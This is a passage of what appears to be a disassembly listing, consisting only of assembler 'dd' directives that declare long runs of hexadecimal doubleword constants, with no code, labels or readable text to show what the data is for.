		dd 0BD9AB2CAh, 32A03E64h, 85D2F14Ah, 0D2DD32C3h, 7F7D4AABh
		dd 0E94157C5h, 957FB299h, 4846BB12h, 0BF6DFA8Fh, 0D0FD5942h
		dd 300CC186h, 3F320C6Eh, 4FCA10A4h, 0A472F844h,	4F9A2EEEh
		dd 0A6A166E2h, 665F00E4h
		dd 5DCE3A05h, 0F362D09h, 20D6F0DFh, 0F87D3EC0h,	100F26D2h
		dd 3C89E423h, 8F19D9ABh, 0CF44391Ch, 0B6EE138Bh, 0B81F7F45h
		dd 0D1C16340h, 8F38E9E8h, 2728F32Ah, 0E7AA7EB6h, 0E5E6C2CEh
		dd 7D791A7Dh, 0FC28AAC4h, 0FA97A2C9h, 0FDF95E3h, 0EB0AA7EAh
		dd 0C975FCDBh, 8D59265Ch, 68098778h, 32DD224Dh,	0A700C07Fh
		dd 0FB8B4C17h, 646E7511h, 0C2CB5252h, 265FB802h, 0C0574C0Dh
		dd 83DC706Bh, 0A94CA8ABh, 1C6001F9h, 0D5F734C0h, 352A913Bh
		dd 86F32B71h, 88319030h, 0E7E659ECh, 0A5ADF6B5h, 0D59D53EEh
		dd 3C6C2B24h, 506869E9h, 4C03DB5Fh, 0EF2568F4h,	0E928F13Ah
		dd 68053E5Bh, 2A271B8h,	69DA01C6h, 0F7555B25h, 5924DB4Dh
		dd 2D98F519h, 0E805B53Ah, 50F3B1EFh, 0D5372296h, 81614176h
		dd 6356A534h, 0F1E159C5h, 175D0743h, 5062E967h,	1C92717Eh
		dd 9C4382BFh, 78924553h, 411B7440h, 0E97B4604h,	0BF09B0B2h
		dd 204D5875h, 6B987C29h, 4D26520h, 17778FBEh, 370F802Fh
		dd 0B5B4C72h, 0BCC97CE0h, 128813FCh, 1646455Dh,	91DDEA0Fh
		dd 0DF8AB77Eh, 38BCCBD7h, 0BF053AC5h, 53644830h, 1AB60E52h
		dd 0F70386B7h, 6598805Ah, 876E7C0h, 0F364EF3Eh,	88C5FE32h
		dd 90254350h, 4F26E9E6h, 3E62AF16h, 3DEED648h, 5003815Fh
		dd 0F08103C8h, 4BB3D386h, 2D94F025h, 0CB06B80Fh, 5F8052Fh
		dd 7C5F0709h, 52614F5Fh, 20330925h, 0B0B653D1h,	991AF7E9h
		dd 0CED60B7Dh, 41839841h, 0B2B02FE5h, 16608234h, 3E024CCFh
		dd 831BD7Dh, 0FD5CC0D7h, 0C17CB55Fh, 0EAF7E942h, 1EB0700Ah
		dd 0CDAFA866h, 0ED8D62A9h, 0AA93BD02h, 0BD05DB78h, 50BA7DDFh
		dd 94BF7ED4h, 5F0B0B46h, 77583A92h, 12F653BFh, 4A7CBC38h
		dd 0B0555B3Ch, 0AD90B80h, 0DBFE3548h, 1A3FCA81h, 38826C51h
		dd 938465C3h, 852B095Dh, 4AEC2A1Bh, 262DEE93h, 60321860h
		dd 0EEB7BADh, 7350C07Fh, 4012BA95h, 40BE053Ch, 0B799F3FCh
		dd 7C90274Bh, 5D786B02h, 87EE836Eh, 1183C99h, 845758BAh
		dd 0A0928014h, 906FB04h, 827280D7h, 2A8C97B4h, 0CF27917h
		dd 288E69E4h, 327A860Ch, 83E00C5Fh, 7D2D0E5Bh, 0EA57253Eh
		dd 5807E610h, 25720C9h,	76F92D5Ch, 0FB404EC5h, 0AE1F0540h
		dd 0A12E979h, 17BBFEA4h, 370B706h, 62AC608Ah, 681265FEh
		dd 868C2BAFh, 0CF4136h,	716D1384h, 0F7813904h, 81EE624Fh
		dd 49C695E6h, 0CE972F9Bh, 0F696CBB2h, 226BEFF3h, 248A7974h
		dd 5492347Dh, 76A245D1h, 64B2B900h, 30FC2Dh, 3673F11Bh
		dd 413725DEh, 7C0255F6h, 0D8F51CE5h, 9C681364h,	527A37Fh
		dd 4BB6376Fh, 88B782BBh, 2023C1E1h, 2C033D64h, 0F7936270h
		dd 0E9019DD0h, 60A78D05h, 423EBC78h, 407490F4h,	910ABA84h
		dd 0CC678A16h, 0AB369A00h, 0B2D3E975h, 441DB37Ah, 5AE90333h
		dd 0E51D0103h, 29080C1Dh, 884BF055h, 20AB66BDh,	71B7E1EAh
		dd 42520322h, 90B72F10h, 72D623A8h, 98614BB7h, 4A1D7737h
		dd 1C9A19Ah, 6830D7E0h,	377C71Eh, 0DF2179A2h, 0FDC13DC8h
		dd 2FD6A82Ch, 0D19D712Dh, 6BE63B5Ch, 3D77884h, 0C2A3F480h
		dd 164854DAh, 0B99DFB5Eh, 11FDF22Eh, 0A84EEEE3h, 0F3EBF544h
		dd 17EBC539h, 686870AFh, 23962158h, 0DA8DB860h,	95315A2Bh
		dd 2E9CAAC8h, 0C0A6418Ch, 1DB659EFh, 0F9693051h, 36685B05h
		dd 0C868AB51h, 14E91950h, 32AC50B9h, 0D0BA108Ah, 0E17F5B25h
		dd 0FFCE2ECBh, 68255F1Eh, 40501AE8h, 5C3530h, 0CE8169AFh
		dd 4BD80FC6h, 82B95105h, 8D826C76h, 2D04DE55h, 0A2491457h
		dd 0DA0820F8h, 0B55A0288h, 0E9784E5Eh, 8897A3A4h, 7B1BE58h
		dd 31074349h, 0D9F3D2C6h, 23F76ECBh, 0C2ACD8F7h, 24F0DB9Ch
		dd 0D5875F9Dh, 1446F9C3h, 0C494E92Ch, 0CD1557ADh, 0BA715C97h
		dd 5C2D602Ch, 0E01E103h, 9FE1184Bh, 0D7CB2C76h,	7F2077E7h
		dd 0B958542Dh, 0BF205FE3h, 3A619776h, 0A9FD3B5Bh, 788AEEA4h
		dd 0EADE662Dh, 7AC46042h, 2F0504E6h, 0B1D4ADC1h, 714E7BE8h
		dd 58ED160Ch, 92E23E9Bh, 4C278764h, 45271841h, 0FB56D6C6h
		dd 0A127FDEh, 89CCEA27h, 3EBF41EDh, 0F696EFECh,	0F871890Dh
		dd 2F1D904Ah, 88C678B7h, 0BA1A9907h, 13E24170h,	0AD4C30h
		dd 0EFEDD223h, 295DE931h, 33D9CE5Bh, 0F82E2021h, 0D7815F03h
		dd 989F6BF0h, 535E812Dh, 0F1C50995h, 1E263CBEh,	27FCF028h
		dd 0DB9C447h, 0B6E4F5CBh, 0B99D4160h, 0F8020774h, 0E21D745Bh
		dd 38D08DE9h, 0D7FC594Eh, 0D6E7EA1Eh, 4F4AB841h, 0A9E539E9h
		dd 44C617A8h, 19BE88BBh, 3F030B49h, 0CC1A95F1h,	557D16D9h
		dd 263941F3h, 0B2DC5ABDh, 79882B54h, 0A8804AF3h, 0F74E6945h
		dd 31982694h, 0FAC7229Fh, 288B5959h, 128E0AF1h,	7860930h
		dd 7B9C21B2h, 4A9710D7h, 0D1C03C47h, 0FD68E412h, 7DC2251Eh
		dd 0DFF0B1C2h, 2109424Fh, 0A5F0FB5Fh, 0F7C93AFDh, 5FA7CA51h
		dd 0A0F14289h, 0D21F6949h, 0C2DD22D2h, 2C8C800Ch, 2D4A9415h
		dd 0AC700FD8h, 2C1F183h, 74B7D51h, 491700F2h, 29F410B2h
		dd 5D25DF96h, 3E05A13Bh, 0A9CF41F1h, 0E250F993h, 1662D904h
		dd 6FA2A1E0h, 6E49FBCEh, 5F469D28h, 5ECAE9EEh, 862927C1h
		dd 2773EFA6h, 0F8F52E9Ah, 68F99D0Eh, 8416574Bh,	9CAB024Fh
		dd 0FC9FEFC1h, 43F789FCh, 4BABCE5Fh, 60A2B54Bh,	0CF5C01C3h
		dd 7A6F1369h, 0FEC41EACh, 0DBF705B9h, 1726EFC0h, 481EA9Fh
		dd 7E1BEDCDh, 28C9EA0Dh, 96A63644h, 0F83E4251h,	6857A297h
		dd 13076837h, 875E7544h, 4C18700Bh, 7B12E919h, 0CBA8FEE3h
		dd 6497C786h, 0E90DDABFh, 69DAFC6Eh, 2804DC08h,	0A2A40D61h
		dd 3AD3FC63h, 0A52B5DBAh, 0C28AEA82h, 0D1F6BBABh, 2DBFF112h
		dd 719600F1h, 64BEF02h,	4208A403h, 0DBA8A978h, 0C1D1BF34h
		dd 11C1411Ah, 94266EBFh, 72601386h, 0C0F90566h,	0F563B5B4h
		dd 0FB5802EAh, 0A66F098Ah, 4119E655h, 0DEB09637h, 68829FE2h
		dd 0E4A3755Fh, 0E1027A2Ah, 4055F335h, 0ABE4F513h, 37F18CC3h
		dd 0F9D79580h, 62BF6FE1h, 4F4940DEh, 1F4C200Dh,	886CAF1h
		dd 0C4140E58h, 38D7C35h, 132774E6h, 10F6E02Ch, 20110A23h
		dd 4A9FF701h, 0DE0409B0h, 40A8EF5Bh, 57EC6297h,	6679F2D1h
		dd 0F050EB2Fh, 34B845A1h, 0FB97366Dh, 1DD627D9h, 0C116805h
		dd 36A2698h, 0E947F66Eh, 9703E0C2h, 5755BDCBh, 2107DF17h
		dd 5AD505A8h, 3BF0BF5Eh, 0DD564A87h, 25FD7FF5h,	0C06A0326h
		dd 0C01A61BEh, 0C2EF074Bh, 8957F2B8h, 95F95F19h, 0D78030C9h
		dd 0E01BD5Ah, 7F725848h, 0C631A0h, 81626E2Eh, 0F61609E7h
		dd 28E90F0Bh, 88965113h, 8B252DBCh, 0EFDA0046h,	0A2772E96h
		dd 0B778D0C3h, 68848ACFh, 0CAFA0B94h, 88E916F7h, 255A1154h
		dd 8AF154BEh, 88E94482h, 0E32DE849h, 0ADC49900h, 876BE5C1h
		dd 0ED816F1Ch, 7F762C7Ch, 0E9D0BDB1h, 37C89D9Ch, 724C6968h
		dd 64C1D733h, 0B792F984h, 30A1FEC7h, 0FF2BB261h, 0FE085829h
		dd 0B38C7A68h, 56C30B8Ah, 940BA4D3h, 602EF99Eh,	139757D3h
		dd 3E0C114h, 7A9906BDh,	9820A22h, 74344B23h, 0E172002h
		dd 33F6B6A9h, 0BFAB5318h, 0A54A003Ah, 50CF8176h, 33764372h
		dd 5BC8F705h, 41AB1223h, 3BDE49BDh, 0CEF33F9Ah,	0D9426BC9h
		dd 0E1C84841h, 0F8163B8Ch, 56DFF0BDh, 4D68493Ch, 0E08D027Fh
		dd 0D4E4D509h, 6370F6B5h, 32B342B9h, 0A2E19401h, 4964C12Fh
		dd 40D8D520h, 30255ACAh, 8A60E5E5h, 187B944Ch, 8A396C08h
		dd 0DCEE5425h, 0BA72860h
		dd 226C3AD3h, 71171758h, 0B3F05FDBh, 3E1B2445h,	4E67105Ch
		dd 0F3B114F9h, 0F5258071h, 6AFB35D0h, 0A8ED48C1h, 35894D2Fh
		dd 0F6C0027Fh, 59FA84D5h, 0EAF15B8Dh, 9D5AD3F8h, 2844F7FEh
		dd 5F8A0882h, 0B15F0198h, 10B0D3DDh, 0B5FEE146h, 2A18C64h
		dd 20D7C1B8h, 0CC3FCFBFh, 0E3062D38h, 325CC043h, 0EB1C510Fh
		dd 4840E27Bh, 589E7DC1h, 7658E782h, 94FB820Eh, 0DE9B8E6Bh
		dd 501154C2h, 800F407Ch, 22A60520h, 404701E9h, 79FBA7F4h
		dd 0EB5F810Bh, 0E90BC8A9h, 0BFE88A2Bh, 532F2EE5h, 0CA20C33Eh
		dd 0C7DD0B12h, 0B7942A90h, 4ADE54C2h, 48D6777Ah, 0EABE3642h
		dd 734761DAh, 3E5D5401h, 97B1C8F9h, 0BF3681D6h,	2F1B47A2h
		dd 0D7F8E42Ah, 0D9B41DFEh, 0F69BA01h, 63E8258Ah, 6D4A9FF3h
		dd 0C0F14161h, 5A5FD239h, 0FC2E6FC9h, 2E864126h, 0AE4132FCh
		dd 153EFC2Eh, 18CD7E9h,	80BDB753h, 15ED86F7h, 0F55B8622h
		dd 85687F55h, 0E9CB4BC2h, 0CB8D725h, 0FD56C687h, 3DE26F0Ch
		dd 0E9AA71D7h, 15122FB6h, 13B2A2FEh, 0E3EB14D1h, 0CFA884F0h
		dd 736A2BDh, 20EF3E2Eh,	286BC28Ch, 0B6570508h, 0ADA9C6BFh
		dd 26095B90h, 0F4047147h, 0FDDA0D12h, 24026A48h, 0DF288568h
		dd 0DFBC68ECh, 0ECC2604Bh, 26640730h, 0E0654E9h, 407C7517h
		dd 0C8620596h, 769F2C14h, 8F4C0BD5h, 6E88D7D1h,	3C842971h
		dd 0FEEE1F8Bh, 87AD457Dh, 233C275Ah, 0B265EBBh,	0E9872231h
		dd 21C414F8h, 1F6594BFh, 3F2E4608h, 1AD2DFFFh, 5DFD91FAh
		dd 43896E49h, 0D0EA1E97h, 0A34E5BD1h, 0EF29270Bh, 0B580875Dh
		dd 315444A0h, 416BDCFh,	5CB1189Dh, 0DBF78055h, 0E20E4090h
		dd 0C34E2003h, 0E202A0F3h, 7D80F77Dh, 0B84725E3h, 0BF283B60h
		dd 0B01DF826h, 2A932065h, 66001CFCh, 292D2077h,	907EF049h
		dd 0E30F0964h, 0BE25E78h, 7BADD300h, 0E9EC039Ch, 519ACE25h
		dd 12D231AFh, 0A744F940h, 106CD6EEh, 64E94EF5h,	0ADD1EB4Ah
		dd 1C29DAA7h, 0E8E40213h, 0DBFB9666h, 79E90B72h, 4B1FF6B8h
		dd 322BEFDDh, 0E152F960h, 310BFD07h, 5D395E05h,	27381BC0h
		dd 9D5C79h, 6B0AA044h, 2756EA16h, 3396FFA5h, 0BD4FCA92h
		dd 0F6EA5013h, 15444F62h, 5E0B8185h, 0D914D681h, 0F27A1DFEh
		dd 6013C518h, 984002CAh, 0A5755221h, 82D5802h, 88826C63h
		dd 470FF292h, 57FF5E0Eh, 5F2BBD22h, 0CDFD1789h,	0E409893Bh
		dd 9723FB48h, 0BB83D983h, 0E08883Ah, 4FDC6516h,	0ACD9C2AFh
		dd 3E53AA49h, 688FB4E7h, 0AE13676Eh, 69E99A98h,	83F72307h
		dd 5ADD12DEh, 0F877FE6Eh, 0F5880CE2h, 87BCD9CEh, 53A6309Ah
		dd 0A5A53D39h, 2550C889h, 0EBD49F04h, 0F4BF89E7h, 0EF3D2D5Ch
		dd 684D0427h, 0C7A373E6h, 98CE2501h, 0A7C8313Ah, 1694897Eh
		dd 68560B3Dh, 8E678B6h,	4B63264Dh, 4EF69EEBh, 0CE8688EBh
		dd 21AFBA62h, 0C8F9FDF0h, 610BAAA4h, 14B6F5D4h,	89ECE924h
		dd 0EA7D56ADh, 49D62D44h, 0FEEF1304h, 94B8CCBBh, 0FF25E04Ah
		dd 55E69309h, 5B54F8E0h, 132B3CBDh, 8C2708E9h, 10401804h
		dd 63281EBDh, 0EF890F60h, 18E36A86h, 0AFC0093Bh, 0D4F50BAAh
		dd 0B1CA9Ah, 8685750h, 6B90B334h, 0BF13DE24h, 50AE7669h
		dd 0C3091026h, 0C380E941h, 0A029AA73h, 51E681A5h, 0CE0BD0Fh
		dd 121326F6h, 510E3B77h, 20398710h, 36D3E5C0h, 0E97B0B5Ch
		dd 0B474D2C9h, 0F3D7F181h, 852AF57Eh, 84D07378h, 0BAD3F9BEh
		dd 0DF201DB8h, 778D3154h, 7B6C2B5Fh, 0A1D45AE9h, 3AE631FFh
		dd 0D2F8A4D9h, 0E7C4BFE8h, 0FEDE8612h, 55B26BACh, 1E7AC760h
		dd 6816C301h, 2A910D18h, 58A0A76Eh, 590E2D6Eh, 63F2BCA3h
		dd 0ABB664FDh, 65F7F782h, 0F8208C53h, 0CDC0053Ch, 5AE60FF7h
		dd 9DAA90DAh, 0DDE91622h, 472F8856h, 50E9066Bh,	76B7D110h
		dd 39D5A5FFh, 332FC287h, 39F052EEh, 5428C848h, 290505BBh
		dd 7428E9D3h, 8626E4AEh, 33FB2F14h, 575B07F3h, 0CE602E1Ah
		dd 7C923B4Fh, 0C2EE0B34h, 6C09BC60h, 0E89C3505h, 669730CCh
		dd 30351312h, 85D64A71h, 0D603E1Fh, 559EB0Ch, 0BCE92528h
		dd 0E01BA075h, 2F70C320h, 6024D031h, 7B14A1C8h,	0F001B913h
		dd 7FAF01F9h, 404C12B0h, 6F5837B7h, 1308205Eh, 0E9027868h
		dd 0C681A471h, 2D825BF0h, 50836E4h, 4DB63075h, 0B878D7BFh
		dd 6BCEF74Ch, 62522A2Dh, 0A71C6F06h, 95247F86h,	64AFB6FBh
		dd 0B8863417h, 8991D058h, 5CBF5FFBh, 38014B21h,	7A8AB6E9h
		dd 563D6AA3h, 0AE263613h, 9C69DB3Dh, 0B1801827h, 5FA72D40h
		dd 8367C62Fh, 9B513B0Fh, 0F809E33Ah, 0B83572E3h, 37152FC8h
		dd 55A560F6h, 765D56E2h, 7CA578B8h, 0C9A7AD95h,	56476975h
		dd 5FF98FB8h, 0FADA1804h, 0A52B6B9Dh, 6CA47FD3h, 88E9125Ah
		dd 0A6C9AB85h, 271FECA4h, 0ACE8ECF1h, 8ECBE9C1h, 6657402Fh
		dd 0C80127D4h, 78072D51h, 0E954A0CFh, 0BEF16BEAh, 80AF81DDh
		dd 69C77EBh, 0E9163B97h, 3B2EA5D1h, 0A4FB27C4h,	8ACB5C0Fh
		dd 0A744915Bh, 0B840002Ah, 79910C82h, 0B515695h, 96519B36h
		dd 4FEE5BBDh, 37B25C3Eh, 90F88312h, 641EC77Dh, 108937D8h
		dd 0BDF7AEDh, 0F633F09Fh, 1D801600h, 293E7C15h,	0C74297CBh
		dd 9781BCE8h, 3F672F45h, 0EC66E7BDh, 0D8BD22D5h, 5E20FA70h
		dd 1C4FECE5h, 0EDC0F1CDh, 59EE887Dh, 3A74702Ch,	661304F0h
		dd 8039AA5Ah, 3AD8D540h, 0BF2C5E9Ah, 6CC0595Fh,	0CE2D4D1Dh
		dd 70E61275h, 73C1001h,	0EA565A17h, 18922135h, 12CAC429h
		dd 422F81E9h, 0FEB6F42Eh, 1003B87Dh, 0E27782C4h, 1660511Eh
		dd 25BAA8FEh, 20B16E54h, 535BF968h, 0D3A3C297h,	0EF5D27B7h
		dd 0F0421B5Ch, 2179775Fh, 1BE4CD17h, 0F1E40C6h,	0EC5B847Bh
		dd 0E90860ABh, 99D2B840h, 0E9227CFAh, 5AC5AF5Dh, 1FBAD8D8h
		dd 0C5EDC3C2h, 0BAABB2E9h, 5B62954Bh, 742D3D61h, 0E9271746h
		dd 5F3FE12Bh, 0A337EC93h, 775D1766h, 522231BAh,	0EF8C1631h
		dd 46F4AB25h, 505BB8B7h, 0BD89062Dh, 42928FF4h,	3BF19E0h
		dd 7E8522ACh, 7015FE31h, 460CDDh, 0FD0B0ABFh, 1DAB914h
		dd 12F0217h, 3597E9F9h,	56B610Ch, 7BF6FAECh, 1C84F201h
		dd 225217B3h, 0AFF117ABh, 0D87B98FBh, 3E9470F8h, 3543502Dh
		dd 0AA0EDF76h, 0E9C761A2h, 96DE1B1Ah, 5CC18FC2h, 82D54923h
		dd 7D617C74h, 2BD7C09Ah, 13C97E81h, 7519BE5Ah, 0A57A0306h
		dd 0F257E45Dh, 0DC3D3427h, 0B9E8948Fh, 0F1519227h, 1ED45347h
		dd 4D563B95h, 0E9848AA7h, 5F44BA0Eh, 0E2560C48h, 0B56510ECh
		dd 0FFC78012h, 676C560Fh, 7BBBC4CAh, 9BD22760h,	5C53E624h
		dd 282B5951h, 5B4AE9D0h, 0A9B9BC80h, 2B60936h, 0E28FC183h
		dd 666125DCh, 3BA47A29h, 3BD1010Dh, 0A994B95Bh,	4078CE4Eh
		dd 2AF3DCE4h, 616E3528h, 0A2C31708h, 6060C90Fh,	5204450Fh
		dd 0BBE91FD6h, 0E7891191h, 0AD92F3EAh, 26CF997Dh, 29FF852Eh
		dd 0F9302EB3h, 9D5FE95Eh, 0D6210903h, 25F0C5B9h, 57D2200Ah
		dd 284ABCB2h, 6BE58DF1h, 0FE00293Ch, 7EEC0CEh, 304FC680h
		dd 0B58ACBDh, 1DA5CB26h, 52CC40E6h, 0D42096B2h,	659A0BB8h
		dd 2526D8B5h, 0F03A094Fh, 22D90683h, 0B0EC265Bh, 0F100A33Dh
		dd 6E5C149h, 0E42ECD81h, 8E2C2842h, 0F9319616h,	1507835Bh
		dd 8028F2D1h, 0EE8051B6h, 0F02814FAh, 0E9131A5Ah, 2FD0B149h
		dd 0BE0799E5h, 0D766AAB2h, 0D10FBFF1h, 505669E0h, 5879B752h
		dd 78482ACDh, 455197EFh, 97A3FD65h, 68B35F30h, 5C9B5C21h
		dd 6584F816h, 0CA14B8BEh
		dd 912DE9CAh, 95545AB0h, 6FF82DFEh, 0E93F48B6h,	5A2CBBB2h
		dd 8BB1C75Dh, 0FE513968h, 0D2F3E982h, 989EDAFEh, 5303E195h
		dd 5B856E05h, 6DC27D93h, 48985DAAh, 57823A3Ch, 14F7990Bh
		dd 4404969Bh, 1A47AEAAh, 0F5094A0Ch, 4B4C8745h,	9E74BE9h
		dd 0D05D667Dh, 0B3682F68h, 0BF7864FAh, 0A0169920h, 1D30AFE2h
		dd 0C14F01E6h, 3E28DCF7h, 8FD7D55Ah, 29CD5913h,	10B4F831h
		dd 27B6AE9h, 3F68DAF6h,	691EC624h, 0FC412053h, 0D14E3046h
		dd 3B25FB0Eh, 0E505CFC1h, 31BEB906h, 34D60D99h,	20044A1Ch
		dd 0CA317DE8h, 0B3DEBCABh, 6E2CB951h, 2A56C2F0h, 0E6C162h
		dd 26542C0h, 947FD135h,	70A0174Bh, 7C84BA7Bh, 9FC3B621h
		dd 0AB461657h, 5FFB1047h, 6BC7533Bh, 51DABB76h,	0EBEF09DDh
		dd 77C7685Ch, 0BF723018h, 0C0B57E83h, 0A8F51386h, 975FF880h
		dd 56168D71h, 0F2E224F2h, 37E65D68h, 12320848h,	62AA8F65h
		dd 0C608834Ah, 0BE17E08h, 18F9D9F7h, 0BF086C02h, 0D158FF26h
		dd 0D0F708C2h, 0F0DF4091h, 5607270Ch, 72A927F6h, 0C1ECCB13h
		dd 0B550B85Fh, 2FFD7DE0h, 0E5FE2966h, 8B306EE0h, 0E985C631h
		dd 0E3E80A07h, 7697A64Bh, 48A1640h, 7A81E241h, 4B1104E1h
		dd 0C7D1F735h, 2454C176h, 7C73301Bh, 65D46C17h,	6858E601h
		dd 0EDF030E0h, 6023E816h, 90FA0C4Ah, 29DE2A0h, 5FCE01F5h
		dd 0C1059FD3h, 73A87A0Bh, 42154801h, 21F20105h,	0C080634h
		dd 791482h, 887C14A0h, 0E813B32Eh, 2BD53345h, 91FD61AEh
		dd 53D7C259h, 9D5EA7FCh, 0C257DE2Fh, 0C5F75068h, 62CAA479h
		dd 66F5B672h, 847D9DD8h, 0CDF85994h, 0BCCBFB4h,	9EB46BD1h
		dd 0FC4BEEFFh, 892E4ED7h, 0EB62E024h, 73EACBC0h, 0B26D3F56h
		dd 2AE98A5h, 381375A1h,	0A080424Ah, 0B460D88h, 8A22E92Fh
		dd 5B3A674Bh, 0E6B270ACh, 0E892DCD0h, 0B91D118Eh, 4E571730h
		dd 0A2F1BC87h, 0F1614155h, 8365E87Ah, 844C5468h, 0E480ECBBh
		dd 0F62E3CACh, 0C8C79DFAh, 0F2FD39Fh, 0F0A9EB1Ch, 895B1654h
		dd 98E2F9C2h, 2F0CF17Ch, 424053A1h, 4DC4C3CAh, 0EE35AD3h
		dd 0C2A64F7Eh, 0E04F5EECh, 5980BBB4h, 0E184A55h, 6E0C0D5Fh
		dd 0F135CFFCh, 0BA51AEA5h, 2A8382A5h, 0EF33EACh, 0A7D2107Bh
		dd 0D34CB20Eh, 0C4A5E2EBh, 9FE777EAh, 65F58925h, 0C5E18A9Eh
		dd 0A7ED80F4h, 898C28C0h, 0E631F5F9h, 0FD0CB9E4h, 0C64CC08h
		dd 639A3DECh, 3BE23124h, 0C627EAB0h, 3A3015DBh,	39A10C48h
		dd 0D15D4B5Eh, 2D6456Ah, 79F0FDBDh, 5ADEE09Fh, 399B453h
		dd 493E34E9h, 0C9FEEDA2h, 0CABFCE3Fh, 1BA81435h, 6B95016Fh
		dd 91B9020Eh, 61E90B84h, 0A27BEB2h, 4851D883h, 29072431h
		dd 0C246F83Dh, 828005A0h, 0D241DBBAh, 0C5AE4F4Eh, 0F2FC00CCh
		dd 4FD2419h, 3EE5F4C7h,	0D4BF3924h, 5A0809CEh, 3164D756h
		dd 61B1D2E4h, 158EEAFh,	0ED4521C6h, 5BDF10CEh, 45FB4E31h
		dd 0CD7774E0h, 0C54F3011h, 8B261F59h, 213A315Fh, 4F58FC6Fh
		dd 784439BAh, 2FF35FBDh, 0E90201C8h, 55FEFD02h,	1BA63FDBh
		dd 72395709h, 36F0447h,	0FA4F2F52h, 0F22570C1h,	0B798C6Eh
		dd 51150B9Dh, 220945B1h, 59242988h, 0E20E17FBh,	0FEE9B0EDh
		dd 5BAB9D5Eh, 0D090C8DDh, 3CE5B794h, 0F43897BEh, 0FD1777F6h
		dd 0D68EE29h, 0F34B4A3Eh, 98101176h, 0B44ED835h, 49BDC117h
		dd 4B2D5A61h, 3337D84h,	147AF668h, 880F6215h, 525F5CA2h
		dd 0AEA32F2Eh, 2DD8FBC0h, 85262E0Bh, 60E55104h,	32D65EA8h
		dd 0E9090EAEh, 0F9FEB612h, 0E8C19539h, 20E15228h, 50BD263Fh
		dd 47C5BD63h, 49C0CB93h, 26A2D5Ah, 29335E6Ch, 78E05F0h
		dd 0F50969A3h, 541368F0h, 0FD2562B3h, 17C1F842h, 0BFA93E3Fh
		dd 0F9261C4h, 6F6442BBh, 7FD8433h, 81A200AEh, 0B7B206F3h
		dd 977EF2B5h, 33A2301Eh, 56A5177h, 88E8215Dh, 8D581D69h
		dd 0F9F7C209h, 42E67955h, 0DE0B9986h, 288A03B6h, 48E145A2h
		dd 730005A9h, 717F49B5h, 0A18301BAh, 0FA2972C0h, 0A4DDE6E9h
		dd 0EFD5F0F0h, 0AFD2A1EAh, 0DE07550Ch, 15E9C229h, 0B800077Ch
		dd 149B6F44h, 0BB33F989h, 0FEF6718Fh, 2DF8BF31h, 0BE06886Fh
		dd 886BC641h, 8BBDF3A0h, 6826DF80h, 84FAE5D4h, 685A8AB2h
		dd 607F3DAFh, 170496EAh, 0F1015494h, 8186284h, 5492E92Fh
		dd 1568653h, 593978BEh,	9FF78926h, 3CC6EFF6h, 0F40C296Dh
		dd 0CC182AE0h, 0B615A91h, 9A00564Ch, 31DA7984h,	158F74C0h
		dd 0B5890A99h, 0A19C8482h, 0D099957h, 0C5070A62h, 0A2096D67h
		dd 2AF662FCh, 0C1791D82h, 0CC020931h, 0E25FB198h, 173D459h
		dd 3E23D135h, 22F82F4Ah, 749453F4h, 529091EEh, 609B4055h
		dd 0E9160EF5h, 1BC169Bh, 244058CBh, 5973CD29h, 0ABB0EA4Bh
		dd 0E7150EE4h, 0FC61811Bh, 2E69176Eh, 843EFBF1h, 0AA91013Ah
		dd 31A9F4BBh, 584C2C97h, 4E1D4CF6h, 908492ECh, 50A4CCE4h
		dd 42E36800h, 5582B69h,	96BD1221h, 0F956AAD4h, 0F87A56F5h
		dd 60BEE464h, 2232C63Eh, 171E6748h, 18894097h, 0D26D4E6Eh
		dd 2A97A292h, 39F88A56h, 0A61E9A5Ch, 5E920C74h,	2E0C6395h
		dd 0F383B12h, 8061EF5h,	5814810Ch, 17B38B7Ah, 44EED168h
		dd 8DE2E05Eh, 0DFCFE073h, 9C6E3D0h, 63629DA4h, 0AC09F141h
		dd 45CE412Fh, 3A728060h, 92E89985h, 3DFB080Bh, 0A580ABF8h
		dd 189D4F81h, 0B0358E1Eh, 32E927FDh, 0E778409h,	0FCCB6BA1h
		dd 8A452DCAh, 93FC2Dh, 5251C3FEh, 0B10AB8B2h, 16D1309Dh
		dd 2CEF73EFh, 0EB098095h, 427AE9BAh, 4BE657A6h,	0EEFB2EF6h
		dd 0A4A11CF2h, 0C46C63EFh, 441E7AB8h, 0C2652C9Ch, 0F67C34FFh
		dd 657009A5h, 7D45AF99h, 640E905h, 0B9F37293h, 0EB04BF9Dh
		dd 7F83E30Eh, 8181D11Dh, 204580F6h, 0BF87421h, 0C9DF2F04h
		dd 0F20D9ED4h, 0AF60BAADh, 5CC240A6h, 28BF8BDh,	699DF581h
		dd 0F3C53AF3h, 0B768E6ADh, 874E5E70h, 2BE9BCCh,	93F3E805h
		dd 0B0F7F531h, 0D0FF7092h, 0A84BCCADh, 89D5327Fh, 6E754053h
		dd 315880C9h, 1C0C109Ah, 786FDE28h, 0AE4B3DADh,	6601AA5Bh
		dd 44232554h, 1C2EF42Ah, 0DDF2F44Eh, 0A0EE49DFh, 0FE9C107Ch
		dd 5D4982C9h, 0F852852Dh, 0F11609A0h, 11C8A9E9h, 28DC072Ch
		dd 0B2B151C8h, 0CCC0F180h, 7F96A348h, 0B8685240h, 19132F2Ch
		dd 0B4628CF0h, 45D7890Fh, 7A22B034h, 7A986037h,	0C250FA7Eh
		dd 89B5F08h, 2B966800h,	64E94154h, 0AA5F97AAh, 5A84B75Ch
		dd 0A6EAC729h, 0B6F0D869h, 32772430h, 32E1250Bh, 0E955C446h
		dd 5809EC24h, 9652FBBh,	5DCE8321h, 5E0C9AC1h, 2F1808D3h
		dd 2B922E28h, 0E33A4200h, 2595057Eh, 7A9258A3h,	4660D42Dh
		dd 0A2B8E2D1h, 3F2C3D40h, 0DA975BBEh, 0C5E9B8DCh, 0E1ECD1F7h
		dd 0E8184131h, 0CA5D4006h, 0A3026491h, 0C9B70F69h, 0CB92E05Fh
		dd 7BC71881h, 18B32661h, 0F9F63314h, 28373CB2h,	1B03A693h
		dd 0E80C9BD8h, 8351070Eh, 0AE0B7EA3h, 2F639180h, 4C75D21Dh
		dd 90B83801h, 5B30ADB1h, 0FC563E87h, 0DE8B62FEh, 0F982D581h
		dd 80583101h, 0BF66F38Ah, 606180D0h, 38B17689h,	0A09F181h
		dd 0F2AAF33h, 6E864028h, 90D88B0Ch, 11AD679Dh, 24FEF1FCh
		dd 0FF0869Fh, 98A31685h, 6D0BC132h, 0FC81CDB0h,	9E00AA27h
		dd 0BBA0417Fh, 35B28392h, 818839AEh, 0FF8155h, 0A69B40h
